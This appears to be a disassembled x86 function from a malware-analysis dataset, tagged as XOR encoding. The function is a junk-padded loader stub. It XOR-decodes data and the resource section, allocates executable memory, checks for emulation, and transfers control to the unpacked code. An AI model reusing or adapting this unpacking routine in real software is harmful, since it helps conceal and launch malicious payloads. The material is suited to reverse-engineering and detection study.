Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x43a59dd4
add edi, edi
mov edi, eax
popal
add edi, edi
sub eax, 0xe9edf19e
mov edi, 0
mov ebx, ecx
or esi, edx
or esi, esi
or edx, esi
mov eax, ebx
mov edx, 0xc9f653eb
inc edx
sub esi, 0xe9e6e2df
mov ecx, eax
or esi, esi
and edx, edx
sub edx, esi
inc edi
not esi
add edx, esi
cmp edi, 0x100a9ef
jne 0xa789c4
add esi, 1
add edx, 1
or esi, esi
not edi
add eax, edi
mov edx, 0xa78796
mov ecx, 0x140c119f
sub ecx, eax
add edi, eax
mov esi, 0xa7898a
sub eax, edi
mov edi, eax
mov ebx, dword [edx]
and edi, ecx
mov ecx, edi
sub eax, 0x1bb89ac1
and ebx, 0xff
sub ecx, eax
add ecx, eax
xor dword [esi], ebx
mov edi, 0x706c2113
sub ecx, 0xfc1d8a2f
inc esi
add ecx, eax
mov ecx, 0xaea7014e
inc ecx
inc edx
add edi, eax
sub eax, 0xd01b4d61
or ecx, edi
cmp esi, entry0
jl 0xa78a1c
add eax, ecx
mov ecx, 0x36baaafa
mov eax, edi
sub ecx, 0x26a80461
not ecx
mov ecx, 0x1eee64ab
and esi, ebx
sub edx, 0x4b82774c
or edx, edx
mov edi, 0xa7898e
sub ecx, esi
add ecx, edx
mov edi, dword [edi]
sub ebx, 0x4bfe2068
or esi, edx
mov edi, dword [edi]
sub edx, ebx
mov edx, 0xd45aabac
push edi
add esi, ebx
sub esi, 0x228d0616
mov edi, 0xa7898a
or esi, esi
add ebx, 0x3ab180a5
or edx, esi
mov edi, dword [edi]
mov esi, 0xb22616d3
mov edx, esi
mov edx, esi
mov edi, dword [edi]
or edx, ebx
sub ecx, ebx
sub ebx, 0xb939b227
sub esp, 4
mov dword [esp], 0xa78992
dec edx
add edx, edx
or ebx, edx
call edi
add ecx, 0x36f958b5
add ebx, ecx
sub ebx, esi
pop edi
add ecx, 0x6e6e22c1
not ebx
sub esp, 4
mov dword [esp], 0xa7899f
sub ecx, edx
and ebx, ebx
mov ecx, edx
sub esp, 4
mov dword [esp], eax
inc esi
mov ebx, 0x99d88443
and ebx, ecx
call edi
and esi, ecx
sub edx, 0x615342fe
add esi, esi
push 0x40
add ecx, 0x6be60b66
inc esi
sub ebx, 0x2a5faaf5
push 0x3000
sub edx, ecx
dec ecx
push 0x20000941
add ebx, 0xd0a933bc
sub esi, 0x65bc5ce3
add ecx, ecx
push 0
and ecx, ebx
mov esi, ebx
sub edx, 1
call eax
or ecx, ecx
dec esi
add eax, 0x20000899
sub ebx, esi
mov edx, 0xd9945005
mov edi, 0x98f0273f
dec esi
or edx, ebx
add ecx, esi
mov dword [eax], edi
mov esi, 0x116fbade
add esi, 0x5e5bac42
or esi, edx
mov edi, dword [eax]
mov esi, 0xb5f99d32
not esi
cmp edi, 0x98f0273f
je 0xa78b97
mov ebx, 0
mov eax, dword [ebx]
mov ebx, 0xb7072dc7
mov ebx, 0xf52df68c
and ecx, ecx
mov edx, 0xce16288
mov edi, 0x66204f47
mov edi, 0x7480361d
mov ebx, section..rsrc
dec eax
dec eax
mov esi, 0xa78795
dec eax
not edi
not edi
mov ecx, 0
add edi, eax
sub eax, 1
or edi, eax
mov edx, 0xa78796
sub edi, eax
sub eax, edi
lea edx, [ecx + edx]
not eax
and eax, edi
mov eax, 0x817287cb
mov edx, dword [edx]
add eax, 0x3ffbd482
inc edi
mov eax, 0x674c2549
and edx, 0xff
add edi, 1
add eax, eax
dec edi
inc ecx
add eax, edi
add eax, 0xadc94598
cmp ecx, 0x1f4
jne 0xa78c1a
mov ecx, 0
mov edi, 0x968d9c38
dec eax
inc edi
and edi, edi
or edi, eax
add eax, edi
xor dword [ebx], edx
dec edi
and eax, eax
sub edi, 0x1cd4eae6
add ebx, 2
dec eax
add edi, 0x7171f2da
cmp ebx, esi
jl 0xa78bd2
dec edi
not edi
and edi, edi
add edi, 0x826a74e
mov edi, 0x3a5625ac
sub edi, 0xca17a38b
mov eax, section..rsrc
not ecx
and ecx, ebx
mov esi, section..rsrc
add ecx, ebx
add ebx, ebx
or ebx, ebx
mov edi, 0xa78795
and ebx, ecx
mov ebx, 0x1e4c0ac
mov edx, 0
sub ecx, ebx
add ecx, ebx
add ebx, ecx
mov dl, byte [esi]
dec ebx
sub ecx, 0x67bdf8b4
add ecx, 0x8b8a3bfe
mov byte [eax], dl
add ebx, 0xaa5a9790
and ecx, ecx
mov ecx, ebx
inc eax
not ecx
or ebx, ecx
and ecx, ecx
add esi, 2
dec ecx
inc ebx
sub ebx, ecx
cmp esi, edi
jle 0xa78c88
add ebx, ebx
not ecx
and eax, edi
and eax, edi
push 0x8dc6a0
mov eax, 0x4eb0dbc0
sub edi, eax
ret